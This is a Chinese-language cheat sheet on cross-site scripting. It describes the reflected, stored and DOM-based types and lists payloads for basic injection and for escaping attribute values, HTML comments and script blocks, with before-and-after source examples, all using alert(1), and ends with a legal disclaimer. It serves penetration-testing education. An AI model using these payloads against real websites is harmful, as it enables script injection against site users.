文章总结: 本文系统介绍了跨站脚本攻击(XSS)的三大类型(反射型、存储型、DOM型)及六类常见攻击载荷构造方法,包括基础载荷、属性逃逸、注释逃逸、标签闭合、过滤绕过及脚本标签突破等技术细节,提供了可直接用于渗透测试的Payload示例与源码对比,适合安全从业者快速查阅XSS攻击技术要点。 综合评分: 78 文章分类: WEB安全,渗透测试,漏洞分析,安全工具
跨站脚本攻击(XSS)速查手册(基础篇)
原创
Khan安全团队
2026年2月8日 09:58 广东
跨站脚本攻击(Cross-Site Scripting,XSS)是一类注入式攻击,攻击者会将恶意脚本注入到合法网站的页面中,进而劫持用户浏览器执行恶意操作。XSS 攻击主要分为三类:
反射型 XSS(Reflected XSS):恶意脚本通过用户浏览器从第三方网站触发执行(典型场景:搜索框输入);
存储型 XSS(Stored XSS):注入的恶意脚本会被永久存储在目标服务器中(典型场景:评论区、用户名输入框等);
基于 DOM 的 XSS(DOM-Based XSS):攻击载荷存在于页面的 DOM 结构中,而非 HTML 源码本身。
- 攻击载荷(Payload)
1.1 基础攻击载荷
<script>alert(1)</script><svg/onload=alert(1)><img src=x onerror=alert(1)>
1.2 从 HTML 标签属性值中逃逸的载荷
当攻击载荷需从 HTML 标签的属性值中逃逸时,添加单引号(’)或双引号(”)
"><script>alert(1)</script>'><script>alert(1)</script>
示例源码:
<input id="keyword" type="text" name="q" value="REFLECTED_HERE">
注入载荷后的源码:
<input id="keyword" type="text" name="q" value=""><script>alert(1)</script>
1.3 注入 HTML 注释中的载荷
#
若输入内容落入 HTML 注释区域,添加-->以逃逸注释:
--><script>alert(1)</script>
注入载荷后的源码:
<!-- --><script>alert(1)</script> -->
1.4 突破 HTML 标签包裹的载荷
当输入内容被包含在 HTML 标签(如、
</script><script>alert(1)</script>
示例源码:
<script>var sitekey = 'REFLECTED_HERE';</script>
注入载荷后的源码:
<script>var sitekey = '</script><script>alert(1)</script>';</script>
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Khan安全团队 《跨站脚本攻击(XSS)速查手册(基础篇)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论